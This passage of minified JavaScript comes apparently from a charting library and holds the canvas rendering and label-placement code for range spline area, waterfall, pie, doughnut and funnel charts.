(h[q].indexLabel||m.indexLabel||h[q].indexLabelFormatter||
m.indexLabelFormatter)this._indexLabels.push({chartType:"rangeSplineArea",dataPoint
:h[q],dataSeries:m,indexKeyword:0,point:{x:n,y:f},direction:h[q].y[0]<=h[q].y[1]?-
1:1,color:t}),this._indexLabels.push({chartType:"rangeSplineArea",
dataPoint:h[q],dataSeries:m,indexKeyword:1,point:
{x:n,y:p},direction:h[q].y[0]<=h[q].y[1]?1:-1,color:t});f=!1}else 0<q&&!
f&&(m.connectNullData?
c.setLineDash&&(0<u.length&&(m.options.nullDataLineDashType||!h[q-
1].lineDashType))&&(u[u.length-1].newLineDashArray=A,F=m.nullDataLineDashType):
(d(y,C),u=[],z=[])),f=!
0;d(y,C);ia.drawMarkers(g)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,th
is.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,
this.width,this.height),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this
.width,this.height),this._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._pr
eRenderCanvas,0,0,this.width,this.height),c.clearRect(k.x1,k.y1,k.width,k.height),t
his._eventManager.ghostCtx.restore());c.restore();return{source:b,dest:this.plotAre
a.ctx,animationCallback:M.xClipAnimation,easingFunction:M.easing.linear,animationBa
se:0}}};p.prototype.renderWaterfall=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,
b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this._eventManager.ghostCtx,e=null,g=this.plotArea,k=0,l,h,m,s,q=a.axisY.convertV
alueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),k=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;h=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.width,0.9*(this.plotArea.width/a.plotType.to
talDataSeries))<<0;var n=
a.axisX.dataInfo.minDiff;isFinite(n)||
(n=0.3*Math.abs(a.axisX.range));n=this.options.dataPointWidth?
this.dataPointWidth:0.6*(g.width*(a.axisX.logarithmic?
Math.log(n)/Math.log(a.axisX.range):Math.abs(n)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&k>h&&(k=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,h));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&h<k)&&(h=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-Infinity,k));n<k&&(n=k);
n>h&&(n=h);b.save();r&&this._eventManager.ghostCtx.save();b.beginPath();b.rect(g.x1
,g.y1,g.width,g.height);b.clip();r&&(this._eventManager.ghostCtx.beginPath(),this._
eventManager.ghostCtx.rect(g.x1,g.y1,g.width,g.height),this._eventManager.ghostCtx.
clip());for(var f=0;f<a.dataSeriesIndexes.length;f++){var
p=a.dataSeriesIndexes[f],u=this.data[p],v=u.dataPoints,e=u._colorSet[0];u.risingCol
or=u.options.risingColor?
u.options.risingColor:e;u.fallingColor=u.options.fallingColor?
u.options.fallingColor:"#e40a0a";
var t="number"===typeof u.options.lineThickness?
Math.round(u.lineThickness):1,C=1===Math.round(t)%2?-0.5:0;if(0<v.length)for(var
x=5<n&&u.bevelEnabled?!0:!1,z=!1,y=null,A=null,k=0;k<v.length;k++)if(v[k].getTime?
s=v[k].x.getTime():s=v[k].x,"number"!==typeof v[k].y){if(0<k&&!
z&&u.connectNullData)var D=u.options.nullDataLineDashType||!v[k-1].lineDashType?
u.nullDataLineDashType:v[k-1].lineDashType;z=!
0}else{l=a.axisX.convertValueToPixel(s);h=0===u.dataPointEOs[k].cumulativeSum?
q:a.axisY.convertValueToPixel(u.dataPointEOs[k].cumulativeSum);
m=0===u.dataPointEOs[k].cumulativeSumYStartValue?
q:a.axisY.convertValueToPixel(u.dataPointEOs[k].cumulativeSumYStartValue);l=a.axisX
.reversed?l+a.plotType.totalDataSeries*n/2-(a.previousDataSeriesCount+f)*n<<0:l-
a.plotType.totalDataSeries*n/2+(a.previousDataSeriesCount+f)*n<<0;var
F=a.axisX.reversed?l-
n<<0:l+n<<0;h>m&&(e=h,h=m,m=e);a.axisY.reversed&&(e=h,h=m,m=e);e=u.dataPointIds[k];
this._eventManager.objectMap[e]={id:e,objectType:"dataPoint",dataSeriesIndex:p,data
PointIndex:k,x1:l,y1:h,x2:F,y2:m};
var T=v[k].color?v[k].color:0<v[k].y?
u.risingColor:u.fallingColor;ea(b,l,h,F,m,T,0,T,x,x,!1,!
1,u.fillOpacity);e=N(e);r&&ea(this._eventManager.ghostCtx,l,h,F,m,e,0,null,!1,!1,!
1,!1);var Y,T=l;Y="undefined"!==typeof v[k].isIntermediateSum&&!
0===v[k].isIntermediateSum||"undefined"!==typeof v[k].isCumulativeSum&&!
0===v[k].isCumulativeSum?0<v[k].y?h:m:0<v[k].y?m:h;0<k&&y&&(!z||
u.connectNullData)&&(z&&b.setLineDash&&b.setLineDash(R(D,t)),b.beginPath(),b.moveTo
(y,A-C),b.lineTo(T,Y-C),0<t&&b.stroke(),r&&
(c.beginPath(),c.moveTo(y,A-C),c.lineTo(T,Y-C),0<t&&c.stroke()));z=!
1;y=F;A=0<v[k].y?h:m;T=v[k].lineDashType?v[k].lineDashType:u.options.lineDashType?
u.options.lineDashType:"shortDash";b.strokeStyle=v[k].lineColor?
v[k].lineColor:u.options.lineColor?
u.options.lineColor:"#9e9e9e";b.lineWidth=t;b.setLineDash&&(T=R(T,t),b.setLineDash(
T));(v[k].indexLabel||u.indexLabel||v[k].indexLabelFormatter||
u.indexLabelFormatter)&&this._indexLabels.push({chartType:"waterfall",dataPoint:v[k
],dataSeries:u,point:{x:l+
(F-l)/2,y:0<=v[k].y?h:m},direction:0>v[k].y===a.axisY.reversed?1:-1,bounds:
{x1:l,y1:Math.min(h,m),x2:F,y2:Math.max(h,m)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),
b.clearRect(g.x1,g.y1,g.width,g.height),this._eventManager.ghostCtx.restore());b.re
store();return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimation,
easingFunction:M.easing.easeInQuad,animationBase:0}}};var
ja=function(a,d,b,c,e,g,k,l,h){if(!(0>b)){"undefined"===typeof l&&(l=1);if(!r){var
m=Number((k%(2*Math.PI)).toFixed(8));Number((g%(2*Math.PI)).toFixed(8))===m&&(k-
=1E-4)}a.save();a.globalAlpha=l;"pie"===e?
(a.beginPath(),a.moveTo(d.x,d.y),a.arc(d.x,d.y,b,g,k,!
1),a.fillStyle=c,a.strokeStyle=
"white",a.lineWidth=2,a.closePath(),a.fill()):"doughnut"===e&&(a.beginPath(),a.arc(
d.x,d.y,b,g,k,!1),0<=h&&a.arc(d.x,d.y,h*b,k,g,!
0),a.closePath(),a.fillStyle=c,a.strokeStyle="white",a.lineWidth=2,a.fill());a.glob
alAlpha=1;a.restore()}};p.prototype.renderPie=function(a){function d(){if(m&&s)
{for(var a=0,b=0,c=0,e=0,d=0;d<s.length;d++){var
g=s[d],l=m.dataPointIds[d];f[d].id=l;f[d].objectType="dataPoint";f[d].dataPointInde
x=d;f[d].dataSeriesIndex=0;var
k=f[d],q={percent:null,total:null},p=null,q=h.getPercentAndTotal(m,
g);if(m.indexLabelFormatter||
g.indexLabelFormatter)p={chart:h.options,dataSeries:m,dataPoint:g,total:q.total,per
cent:q.percent};q=g.indexLabelFormatter?g.indexLabelFormatter(p):g.indexLabel?
h.replaceKeywordsWithValue(g.indexLabel,g,m,d):m.indexLabelFormatter?
m.indexLabelFormatter(p):m.indexLabel?
h.replaceKeywordsWithValue(m.indexLabel,g,m,d):g.label?
g.label:"";h._eventManager.objectMap[l]=k;k.center={x:x.x,y:x.y};k.y=g.y;k.radius=A
;k.percentInnerRadius=F;k.indexLabelText=q;k.indexLabelPlacement=m.indexLabelPlacem
ent;
k.indexLabelLineColor=g.indexLabelLineColor?
g.indexLabelLineColor:m.options.indexLabelLineColor?
m.options.indexLabelLineColor:g.color?g.color:m._colorSet[d
%m._colorSet.length];k.indexLabelLineThickness=u(g.indexLabelLineThickness)?
m.indexLabelLineThickness:g.indexLabelLineThickness;k.indexLabelLineDashType=g.inde
xLabelLineDashType?
g.indexLabelLineDashType:m.indexLabelLineDashType;k.indexLabelFontColor=g.indexLabe
lFontColor?
g.indexLabelFontColor:m.indexLabelFontColor;k.indexLabelFontStyle=g.indexLabelFontS
tyle?
g.indexLabelFontStyle:m.indexLabelFontStyle;k.indexLabelFontWeight=g.indexLabelFont
Weight?
g.indexLabelFontWeight:m.indexLabelFontWeight;k.indexLabelFontSize=u(g.indexLabelFo
ntSize)?
m.indexLabelFontSize:g.indexLabelFontSize;k.indexLabelFontFamily=g.indexLabelFontFa
mily?
g.indexLabelFontFamily:m.indexLabelFontFamily;k.indexLabelBackgroundColor=g.indexLa
belBackgroundColor?g.indexLabelBackgroundColor:m.options.indexLabelBackgroundColor?
m.options.indexLabelBackgroundColor:m.indexLabelBackgroundColor;k.indexLabelMaxWidt
h=
g.indexLabelMaxWidth?g.indexLabelMaxWidth:m.indexLabelMaxWidth?
m.indexLabelMaxWidth:0.33*n.width;k.indexLabelWrap="undefined"!==typeof
g.indexLabelWrap?g.indexLabelWrap:m.indexLabelWrap;k.startAngle=0===d?m.startAngle?
m.startAngle/180*Math.PI:0:f[d-1].endAngle;k.startAngle=(k.startAngle+2*Math.PI)
%(2*Math.PI);k.endAngle=k.startAngle+2*Math.PI/z*Math.abs(g.y);g=(k.endAngle+k.star
tAngle)/2;g=(g+2*Math.PI)%(2*Math.PI);k.midAngle=g;if(k.midAngle>Math.PI/2-
t&&k.midAngle<Math.PI/2+t){if(0===a||f[c].midAngle>
k.midAngle)c=d;a++}else if(k.midAngle>3*Math.PI/2-t&&k.midAngle<3*Math.PI/2+t)
{if(0===b||f[e].midAngle>k.midAngle)e=d;b+
+}k.hemisphere=g>Math.PI/2&&g<=3*Math.PI/2?"left":"right";k.indexLabelTextBlock=new
ka(h.plotArea.ctx,
{fontSize:k.indexLabelFontSize,fontFamily:k.indexLabelFontFamily,fontColor:k.indexL
abelFontColor,fontStyle:k.indexLabelFontStyle,fontWeight:k.indexLabelFontWeight,hor
izontalAlign:"left",backgroundColor:k.indexLabelBackgroundColor,maxWidth:k.indexLab
elMaxWidth,maxHeight:k.indexLabelWrap?
5*k.indexLabelFontSize:1.5*k.indexLabelFontSize,text:k.indexLabelText,padding:0,tex
tBaseline:"top"});k.indexLabelTextBlock.measureText()}l=g=0;q=!
1;for(d=0;d<s.length;d++)k=f[(c+d)%s.length],1<a&&(k.midAngle>Math.PI/2-
t&&k.midAngle<Math.PI/2+t)&&(g<=a/2&&!q?(k.hemisphere="right",g++):
(k.hemisphere="left",q=!0));q=!1;for(d=0;d<s.length;d++)k=f[(e+d)
%s.length],1<b&&(k.midAngle>3*Math.PI/2-t&&k.midAngle<3*Math.PI/2+t)&&(l<=b/2&&!q?
(k.hemisphere="left",l++):(k.hemisphere="right",q=!0))}}function b(a){var b=
h.plotArea.ctx;b.clearRect(n.x1,n.y1,n.width,n.height);b.fillStyle=h.backgroundColo
r;b.fillRect(n.x1,n.y1,n.width,n.height);for(b=0;b<s.length;b++){var
c=f[b].startAngle,e=f[b].endAngle;if(e>c){var
d=0.07*A*Math.cos(f[b].midAngle),g=0.07*A*Math.sin(f[b].midAngle),k=!
1;if(s[b].exploded){if(1E-9<Math.abs(f[b].center.x-(x.x+d))||1E-
9<Math.abs(f[b].center.y-(x.y+g)))f[b].center.x=x.x+d*a,f[b].center.y=x.y+g*a,k=!
0}else if(0<Math.abs(f[b].center.x-x.x)||0<Math.abs(f[b].center.y-
x.y))f[b].center.x=x.x+
d*(1-a),f[b].center.y=x.y+g*(1-a),k=!
0;k&&(d={},d.dataSeries=m,d.dataPoint=m.dataPoints[b],d.index=b,h.toolTip.highlight
Objects([d]));ja(h.plotArea.ctx,f[b].center,f[b].radius,s[b].color?
s[b].color:m._colorSet[b
%m._colorSet.length],m.type,c,e,m.fillOpacity,f[b].percentInnerRadius)}}a=h.plotAre
a.ctx;a.save();a.fillStyle="black";a.strokeStyle="grey";a.textBaseline="middle";a.l
ineJoin="round";for(b=b=0;b<s.length;b+
+)c=f[b],c.indexLabelText&&(c.indexLabelTextBlock.y-
=c.indexLabelTextBlock.height/2,e=
0,e="left"===c.hemisphere?"inside"!==m.indexLabelPlacement?-
(c.indexLabelTextBlock.width+q):-c.indexLabelTextBlock.width/2:"inside"!
==m.indexLabelPlacement?q:-
c.indexLabelTextBlock.width/2,c.indexLabelTextBlock.x+=e,c.indexLabelTextBlock.rend
er(!0),c.indexLabelTextBlock.x-
=e,c.indexLabelTextBlock.y+=c.indexLabelTextBlock.height/2,"inside"!
==c.indexLabelPlacement&&0<c.indexLabelLineThickness&&(e=c.center.x+A*Math.cos(c.mi
dAngle),d=c.center.y+A*Math.sin(c.midAngle),a.strokeStyle=c.indexLabelLineColor,
a.lineWidth=c.indexLabelLineThickness,a.setLineDash&&a.setLineDash(R(c.indexLabelLi
neDashType,c.indexLabelLineThickness)),a.beginPath(),a.moveTo(e,d),a.lineTo(c.index
LabelTextBlock.x,c.indexLabelTextBlock.y),a.lineTo(c.indexLabelTextBlock.x+
("left"===c.hemisphere?-
q:q),c.indexLabelTextBlock.y),a.stroke()),a.lineJoin="miter");a.save()}function
c(a,b){var c=0,c=a.indexLabelTextBlock.y-
a.indexLabelTextBlock.height/2,e=a.indexLabelTextBlock.y+a.indexLabelTextBlock.heig
ht/2,d=b.indexLabelTextBlock.y-b.indexLabelTextBlock.height/
2,f=b.indexLabelTextBlock.y+b.indexLabelTextBlock.height/2;return
c=b.indexLabelTextBlock.y>a.indexLabelTextBlock.y?d-e:c-f}function e(a){for(var
b=null,e=1;e<s.length;e++)if(b=(a+e+f.length)%f.length,f[b].hemisphere!
==f[a].hemisphere){b=null;break}else if(f[b].indexLabelText&&b!
==a&&(0>c(f[b],f[a])||("right"===f[a].hemisphere?
f[b].indexLabelTextBlock.y>=f[a].indexLabelTextBlock.y:f[b].indexLabelTextBlock.y<=
f[a].indexLabelTextBlock.y)))break;else b=null;return b}function g(a,b,d){d=(d||
0)+1;if(1E3<
d)return 0;b=b||0;var k=0,m=x.y-1*r,l=x.y+1*r;if(0<=a&&a<s.length){var
n=f[a];if(0>b&&n.indexLabelTextBlock.y<m||0<b&&n.indexLabelTextBlock.y>l)return
0;var h=0,q=0,q=h=h=0;0>b?n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2>m&&n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2+b<m&&(b=-(m-(n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2+b))):n.indexLabelTextBlock.y+n.indexLabelTextBlock.h
eight/2<m&&n.indexLabelTextBlock.y+n.indexLabelTextBlock.height/2+b>l&&(b=n.indexLa
belTextBlock.y+
n.indexLabelTextBlock.height/2+b-
l);b=n.indexLabelTextBlock.y+b;m=0;m="right"===n.hemisphere?
x.x+Math.sqrt(Math.pow(r,2)-Math.pow(b-x.y,2)):x.x-Math.sqrt(Math.pow(r,2)-
Math.pow(b-
x.y,2));q=x.x+A*Math.cos(n.midAngle);h=x.y+A*Math.sin(n.midAngle);h=Math.sqrt(Math.
pow(m-q,2)+Math.pow(b-h,2));q=Math.acos(A/r);h=Math.acos((r*r+A*A-h*h)/
(2*A*r));b=h<q?b-n.indexLabelTextBlock.y:0;m=null;for(l=1;l<s.length;l++)if(m=(a-
l+f.length)%f.length,f[m].hemisphere!==f[a].hemisphere){m=null;break}else
if(f[m].indexLabelText&&
f[m].hemisphere===f[a].hemisphere&&m!==a&&(0>c(f[m],f[a])||
("right"===f[a].hemisphere?
f[m].indexLabelTextBlock.y<=f[a].indexLabelTextBlock.y:f[m].indexLabelTextBlock.y>=
f[a].indexLabelTextBlock.y)))break;else m=null;q=m;h=e(a);l=m=0;0>b?
(l="right"===n.hemisphere?q:h,k=b,null!==l&&(q=-b,b=n.indexLabelTextBlock.y-
n.indexLabelTextBlock.height/2-
(f[l].indexLabelTextBlock.y+f[l].indexLabelTextBlock.height/2),b-q<p&&(m=-
q,l=g(l,m,d+1),+l.toFixed(C)>+m.toFixed(C)&&(k=b>p?-(b-p):-(q-(l-
m)))))):0<b&&(l="right"===
n.hemisphere?h:q,k=b,null!==l&&(q=b,b=f[l].indexLabelTextBlock.y-
f[l].indexLabelTextBlock.height/2-
(n.indexLabelTextBlock.y+n.indexLabelTextBlock.height/2),b-q<p&&(m=q,l=g(l,m,d+1),
+l.toFixed(C)<+m.toFixed(C)&&(k=b>p?b-p:q-(m-
l)))));k&&(d=n.indexLabelTextBlock.y+k,b=0,b="right"===n.hemisphere?
x.x+Math.sqrt(Math.pow(r,2)-Math.pow(d-x.y,2)):x.x-Math.sqrt(Math.pow(r,2)-
Math.pow(d-x.y,2)),n.midAngle>Math.PI/2-t&&n.midAngle<Math.PI/2+t?(m=(a-1+f.length)
%f.length,m=f[m],a=f[(a+1+f.length)%f.length],"left"===
n.hemisphere&&"right"===m.hemisphere&&b>m.indexLabelTextBlock.x?
b=m.indexLabelTextBlock.x-
15:"right"===n.hemisphere&&("left"===a.hemisphere&&b<a.indexLabelTextBlock.x)&&(b=a
.indexLabelTextBlock.x+15)):n.midAngle>3*Math.PI/2-
t&&n.midAngle<3*Math.PI/2+t&&(m=(a-1+f.length)%f.length,m=f[m],a=f[(a+1+f.length)
%f.length],"right"===n.hemisphere&&"left"===m.hemisphere&&b<m.indexLabelTextBlock.x
?
b=m.indexLabelTextBlock.x+15:"left"===n.hemisphere&&("right"===a.hemisphere&&b>a.in
dexLabelTextBlock.x)&&(b=a.indexLabelTextBlock.x-
15)),n.indexLabelTextBlock.y=d,n.indexLabelTextBlock.x=b,n.indexLabelAngle=Math.ata
n2(n.indexLabelTextBlock.y-x.y,n.indexLabelTextBlock.x-x.x))}return k}function k()
{var a=h.plotArea.ctx;a.fillStyle="grey";a.strokeStyle="grey";a.font="16px
Arial";a.textBaseline="middle";for(var b=a=0,d=0,k=!0,b=0;10>b&&(1>b||0<d);b++)
{if(m.radius||!m.radius&&"undefined"!==typeof m.innerRadius&&null!
==m.innerRadius&&A-d<=D)k=!1;k&&(A-=d);d=0;if("inside"!==m.indexLabelPlacement)
{r=A*v;for(a=0;a<s.length;a++){var l=
f[a];l.indexLabelTextBlock.x=x.x+r*Math.cos(l.midAngle);l.indexLabelTextBlock.y=x.y
+r*Math.sin(l.midAngle);l.indexLabelAngle=l.midAngle;l.radius=A;l.percentInnerRadiu
s=F}for(var t,u,a=0;a<s.length;a++){var l=f[a],y=e(a);if(null!==y)
{t=f[a];u=f[y];var z=0,z=c(t,u)-p;if(0>z){for(var E=u=0,H=0;H<s.length;H++)H!
==a&&f[H].hemisphere===l.hemisphere&&(f[H].indexLabelTextBlock.y<l.indexLabelTextBl
ock.y?u++:E++);u=z/(u+E||1)*E;var E=-1*(z-u),I=H=0;"right"===l.hemisphere?
(H=g(a,u),E=-1*(z-H),I=g(y,E),+I.toFixed(C)<
+E.toFixed(C)&&+H.toFixed(C)<=+u.toFixed(C)&&g(a,-(E-I))):(H=g(y,u),E=-1*(z-
H),I=g(a,E),+I.toFixed(C)<+E.toFixed(C)&&+H.toFixed(C)<=+u.toFixed(C)&&g(y,-(E-
I)))}}}}else for(a=0;a<s.length;a++)l=f[a],r="pie"===m.type?
0.7*A:0.8*A,y=x.x+r*Math.cos(l.midAngle),u=x.y+r*Math.sin(l.midAngle),l.indexLabelT
extBlock.x=y,l.indexLabelTextBlock.y=u;for(a=0;a<s.length;a+
+)if(l=f[a],y=l.indexLabelTextBlock.measureText(),0!==y.height&&0!
==y.width)y=y=0,"right"===l.hemisphere?(y=n.x2-
(l.indexLabelTextBlock.x+l.indexLabelTextBlock.width+
q),y*=-1):y=n.x1-(l.indexLabelTextBlock.x-l.indexLabelTextBlock.width-q),0<y&&(!
k&&l.indexLabelText&&(u="right"===l.hemisphere?n.x2-
l.indexLabelTextBlock.x:l.indexLabelTextBlock.x-
n.x1,0.3*l.indexLabelTextBlock.maxWidth>u?
l.indexLabelText="":l.indexLabelTextBlock.maxWidth=0.85*u,0.3*l.indexLabelTextBlock
.maxWidth<u&&(l.indexLabelTextBlock.x-="right"===l.hemisphere?2:-
2)),Math.abs(l.indexLabelTextBlock.y-l.indexLabelTextBlock.height/2-x.y)<A||
Math.abs(l.indexLabelTextBlock.y+l.indexLabelTextBlock.height/
2-
x.y)<A)&&(y/=Math.abs(Math.cos(l.indexLabelAngle)),9<y&&(y*=0.3),y>d&&(d=y)),y=y=0,
0<l.indexLabelAngle&&l.indexLabelAngle<Math.PI?(y=n.y2-
(l.indexLabelTextBlock.y+l.indexLabelTextBlock.height/2+5),y*=-1):y=n.y1-
(l.indexLabelTextBlock.y-l.indexLabelTextBlock.height/2-5),0<y&&(!
k&&l.indexLabelText&&(u=0<l.indexLabelAngle&&l.indexLabelAngle<Math.PI?-
1:1,0===g(a,y*u)&&g(a,2*u)),Math.abs(l.indexLabelTextBlock.x-
x.x)<A&&(y/=Math.abs(Math.sin(l.indexLabelAngle)),9<y&&(y*=0.3),y>d&&(d=y)));var
K=function(a,
b,c){for(var e=[],d=0;e.push(f[b]),b!==c;b=(b+1+s.length)
%s.length);e.sort(function(a,b){return a.y-b.y});for(b=0;b<e.length;b+
+)if(c=e[b],d<0.7*a)d+=c.indexLabelTextBlock.height,c.indexLabelTextBlock.text="",c
.indexLabelText="",c.indexLabelTextBlock.measureText();else break};(function()
{for(var a=-1,b=-1,d=0,g=!1,l=0;l<s.length;l++)if(g=!1,t=f[l],t.indexLabelText){var
k=e(l);if(null!==k){var m=f[k];z=0;z=c(t,m);var n;if(n=0>z)
{n=t.indexLabelTextBlock.x;var h=t.indexLabelTextBlock.y-
t.indexLabelTextBlock.height/
2,w=t.indexLabelTextBlock.y+t.indexLabelTextBlock.height/2,p=m.indexLabelTextBlock.
y-
m.indexLabelTextBlock.height/2,u=m.indexLabelTextBlock.x+m.indexLabelTextBlock.widt
h,r=m.indexLabelTextBlock.y+m.indexLabelTextBlock.height/2;n=t.indexLabelTextBlock.
x+t.indexLabelTextBlock.width<m.indexLabelTextBlock.x-q||n>u+q||h>r+q||w<p-q?!1:!
0}n?(0>a&&(a=l),k!==a&&(b=k,d+=-z),0===l%Math.max(s.length/10,3)&&(g=!0)):g=!
0;g&&(0<d&&0<=a&&0<=b)&&(K(d,a,b),b=a=-1,d=0)}}0<d&&K(d,a,b)})()}}function l()
{h.plotArea.layoutManager.reset();
h.title&&(h.title.dockInsidePlotArea||"center"===h.title.horizontalAlign&&"center"=
==h.title.verticalAlign)&&h.title.render();if(h.subtitles)for(var
a=0;a<h.subtitles.length;a++){var b=h.subtitles[a];
(b.dockInsidePlotArea||"center"===b.horizontalAlign&&"center"===b.verticalAlign)&&b
.render()}h.legend&&(h.legend.dockInsidePlotArea||"center"===h.legend.horizontalAli
gn&&"center"===h.legend.verticalAlign)&&(h.legend.setLayout(),h.legend.render())}va
r h=this;if(!(0>=a.dataSeriesIndexes.length)){var m=
this.data[a.dataSeriesIndexes[0]],s=m.dataPoints,q=10,n=this.plotArea,f=m.dataPoint
EOs,p=2,r,v=1.3,t=20/180*Math.PI,C=6,x={x:(n.x2+n.x1)/2,y:(n.y2+n.y1)/2},z=0;a=!
1;for(var y=0;y<s.length;y++)z+=Math.abs(s[y].y),!a&&("undefined"!==typeof
s[y].indexLabel&&null!==s[y].indexLabel&&0<s[y].indexLabel.toString().length)&&(a=!
0),!a&&("undefined"!==typeof s[y].label&&null!
==s[y].label&&0<s[y].label.toString().length)&&(a=!0);if(0!==z){a=a||"undefined"!
==typeof m.indexLabel&&null!==m.indexLabel&&0<m.indexLabel.toString().length;
var A="inside"!==m.indexLabelPlacement&&a?
0.75*Math.min(n.width,n.height)/2:0.92*Math.min(n.width,n.height)/2;m.radius&&(A=I(
m.radius,A));var D="undefined"!==typeof m.innerRadius&&null!==m.innerRadius?
I(m.innerRadius,A):0.7*A;m.radius=A;"doughnut"===m.type&&(m.innerRadius=D);var
F=Math.min(D/A,(A-1)/A);this.pieDoughnutClickHandler=function(a){h.isAnimating||!
u(a.dataSeries.explodeOnClick)&&!a.dataSeries.explodeOnClick||
(a=a.dataPoint,a.exploded=a.exploded?!1:!
0,1<this.dataPoints.length&&h._animator.animate(0,
500,function(a){b(a);l()}))};d();k();k();k();k();this.disableToolTip=!
0;this._animator.animate(0,this.animatedRender?this.animationDuration:0,function(a)
{var
b=h.plotArea.ctx;b.clearRect(n.x1,n.y1,n.width,n.height);b.fillStyle=h.backgroundCo
lor;b.fillRect(n.x1,n.y1,n.width,n.height);a=f[0].startAngle+2*Math.PI*a;for(b=0;b<
s.length;b++){var c=0===b?f[b].startAngle:e,e=c+(f[b].endAngle-f[b].startAngle),d=!
1;e>a&&(e=a,d=!0);var g=s[b].color?s[b].color:m._colorSet[b
%m._colorSet.length];e>c&&ja(h.plotArea.ctx,
f[b].center,f[b].radius,g,m.type,c,e,m.fillOpacity,f[b].percentInnerRadius);if(d)br
eak}l()},function(){h.disableToolTip=!1;h._animator.animate(0,h.animatedRender?
500:0,function(a){b(a);l()})})}}};var ra=function(a,d,b,c){"undefined"===typeof
b&&(b=1);0>=Math.round(d.y4-d.y1)||
(a.save(),a.globalAlpha=b,a.beginPath(),a.moveTo(Math.round(d.x1),Math.round(d.y1))
,a.lineTo(Math.round(d.x2),Math.round(d.y2)),a.lineTo(Math.round(d.x3),Math.round(d
.y3)),a.lineTo(Math.round(d.x4),Math.round(d.y4)),"undefined"!==
d.x5&&(a.lineTo(Math.round(d.x5),Math.round(d.y5)),a.lineTo(Math.round(d.x6),Math.r
ound(d.y6))),a.closePath(),a.fillStyle=c?
c:d.color,a.fill(),a.globalAplha=1,a.restore())};p.prototype.renderFunnel=function(
a){function d(){for(var a=0,b=[],c=0;c<C.length;c++){if("undefined"===typeof
C[c].y)return-1;C[c].y="number"===typeof C[c].y?
C[c].y:0;a+=Math.abs(C[c].y)}if(0===a)return-1;for(c=b[0]=0;c<C.length;c+
+)b.push(Math.abs(C[c].y)*F/a);return b}function b(){var
a=$,b=V,c=K,e=ea,d,f;d=O;f=Z-N;e=Math.abs((f-
d)*(b-a+(e-c))/2);c=ea-K;d=f-d;f=c*(f-Z);f=Math.abs(f);f=e+f;for(var
e=[],g=0,l=0;l<C.length;l++){if("undefined"===typeof C[l].y)return-
1;C[l].y="number"===typeof C[l].y?C[l].y:0;g+=Math.abs(C[l].y)}if(0===g)return-
1;for(var m=e[0]=0,k=0,n,h,b=b-a,m=!1,l=0;l<C.length;l++)a=Math.abs(C[l].y)*f/g,m?
n=0==Number(c.toFixed(3))?0:a/c:(h=ba*ba*b*b-4*Math.abs(ba)*a,0>h?(h=c,m=(b+h)*(d-
k)/2,a-=m,n=d-k,k+=d-k,n+=0==h?0:a/h,k+=a/h,m=!0):(n=(Math.abs(ba)*b-
Math.sqrt(h))/2,h=b-2*n/Math.abs(ba),k+=n,k>d&&(k-=n,
h=c,m=(b+h)*(d-k)/2,a-=m,n=d-k,k+=d-k,n+=a/h,k+=a/h,m=!0),b=h)),e.push(n);return
e}function c(){if(t&&C){for(var
a,b,c,e,d,g,l,k,m,n,h,q,s,w,p=[],B=[],x={percent:null,total:null},v=null,y=0;y<C.le
ngth;y++)w=P[y],w="undefined"!==typeof w.x5?(w.y2+w.y4)/2:
(w.y2+w.y3)/2,w=f(w).x2+1,p[y]=L-w-S;w=0.5*S;for(var y=0,A=C.length-1;y<C.length||
0<=A;y++,A--){b=t.reversed?C[A]:C[y];a=b.color?b.color:t.reversed?
t._colorSet[(C.length-1-y)%t._colorSet.length]:t._colorSet[y
%t._colorSet.length];c=b.indexLabelPlacement||
t.indexLabelPlacement||"outside";e=b.indexLabelBackgroundColor||
t.indexLabelBackgroundColor||(r?"transparent":null);d=b.indexLabelFontColor||
t.indexLabelFontColor||"#979797";g=u(b.indexLabelFontSize)?
t.indexLabelFontSize:b.indexLabelFontSize;l=b.indexLabelFontStyle||
t.indexLabelFontStyle||"normal";k=b.indexLabelFontFamily||
t.indexLabelFontFamily||"arial";m=b.indexLabelFontWeight||
t.indexLabelFontWeight||"normal";a=b.indexLabelLineColor||
t.options.indexLabelLineColor||a;n="number"===typeof b.indexLabelLineThickness?
b.indexLabelLineThickness:"number"===typeof t.indexLabelLineThickness?
t.indexLabelLineThickness:2;h=b.indexLabelLineDashType||
t.indexLabelLineDashType||"solid";q="undefined"!==typeof b.indexLabelWrap?
b.indexLabelWrap:"undefined"!==typeof t.indexLabelWrap?t.indexLabelWrap:!
0;s=t.dataPointIds[y];z._eventManager.objectMap[s]={id:s,objectType:"dataPoint",dat
aPointIndex:y,dataSeriesIndex:0,funnelSection:P[t.reversed?C.length-1-
y:y]};"inside"===t.indexLabelPlacement&&(p[y]=y!==fa?t.reversed?P[y].x2-P[y].x1:
P[y].x3-P[y].x4:P[y].x3-P[y].x6,20>p[y]&&(p[y]=y!==fa?t.reversed?P[y].x3-
P[y].x4:P[y].x2-P[y].x1:P[y].x2-P[y].x1,p[y]/=2));s=b.indexLabelMaxWidth?
b.indexLabelMaxWidth:t.options.indexLabelMaxWidth?
